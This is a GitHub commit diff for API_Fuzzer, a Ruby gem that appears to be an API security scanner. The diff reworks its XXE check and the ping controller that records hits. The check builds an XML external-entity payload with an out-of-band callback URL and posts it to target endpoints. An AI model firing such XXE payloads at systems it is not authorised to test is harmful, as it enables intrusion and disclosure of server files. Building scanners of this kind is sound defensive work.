Skip to content

Commit 530b5a4

Browse files
committed
improvements
1 parent 9145d78 commit 530b5a4

File tree

5 files changed

+30
-13
lines changed

5 files changed

+30
-13
lines changed

API_Fuzzer.gemspec

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ Gem::Specification.new do |spec|
2929

3030
spec.add_dependency 'http', '~> 2.0'
3131
spec.add_dependency 'activesupport'
32+
spec.add_dependency 'rails', '>= 4.2'
3233
spec.add_development_dependency "bundler", "~> 1.12"
3334
spec.add_development_dependency "rake", "~> 10.0"
3435
spec.add_development_dependency "minitest", "~> 5.0"

app/controllers/ping_controller.rb

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
class PingController < ActionController::Base
22
def index
3-
sha = params[:id]
4-
scan = Scan.find_by_sid(sha)
5-
scan.vulnerabilities.create!(
3+
@scan = Scan.find(params[:id])
4+
@scan.vulnerabilities.create!(
65
status: 'HIGH',
76
class_type: 'Vulnerability',
8-
description: 'Possible XXE vulnerability in #{scan.url}',
9-
value: params[:body]
10-
) if scan
11-
render :ok
7+
description: 'Possible XXE vulnerability in #{@scan.url}',
8+
value: body
9+
) if @scan
10+
render json: { status: :ok }
11+
end
12+
13+
private
14+
15+
def body
16+
@scan.parameters.gsub(/\>\s*[a-zA-Z0-9]*\s*\<\//, '>&xxe;<')
1217
end
1318
end

lib/API_Fuzzer.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
require 'API_Fuzzer/xss_check'
77
require 'API_Fuzzer/request'
88
require 'API_Fuzzer/engine'
9+
require 'API_Fuzzer/xxe_check'
910

1011
module API_Fuzzer
1112
# Scans all the checks

lib/API_Fuzzer/engine.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
require 'rails'
2+
13
module API_Fuzzer
24
class Engine < ::Rails::Engine; end
3-
end
5+
end

lib/API_Fuzzer/xxe_check.rb

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,35 +1,43 @@
11
require 'API_Fuzzer/vulnerability'
22
require 'API_Fuzzer/error'
33
require 'API_Fuzzer/request'
4-
require 'byebug'
54

65
module API_Fuzzer
76
class XxeCheck
87

98
def self.scan(options = {})
109
@url = options[:url] || nil
11-
@params = options[:params] || ''
10+
@params = options[:params]
1211
@scan_hash = options[:scan]
1312
fuzz_xml_params
1413
end
1514

15+
private
16+
1617
def self.fuzz_xml_params
1718
return unless @params
18-
body = @params.gsub(/\>\s*[a-zA-Z0-9]*\s*\<\//, '>&xxe;<')
19+
body = params_serialize.gsub(/\>\s*[a-zA-Z0-9]*\s*\<\//, '>&xxe;<')
1920
payload = <<-XXEPAYLOAD
2021
<?xml version="1.0" encoding="ISO-8859-1"?>
2122
<!DOCTYPE foo [
2223
<!ELEMENT foo ANY >
23-
<!ENTITY xxe SYSTEM "http://127.0.0.1:3000/yoxxe" >]>
24+
<!ENTITY xxe SYSTEM "http://127.0.0.1:3000/ping/#{@scan_hash}" >]>
2425
XXEPAYLOAD
2526
payload << body
26-
2727
API_Fuzzer::Request.send_api_request(
2828
url: @url,
2929
params: payload,
3030
body: true,
3131
method: :post
3232
)
3333
end
34+
35+
def self.params_serialize
36+
body = []
37+
@params.keys.each do |key, value|
38+
body << "#{key}=#{value}"
39+
end
40+
body.join('&')
41+
end
3442
end
3543
end

0 commit comments

Comments
 (0)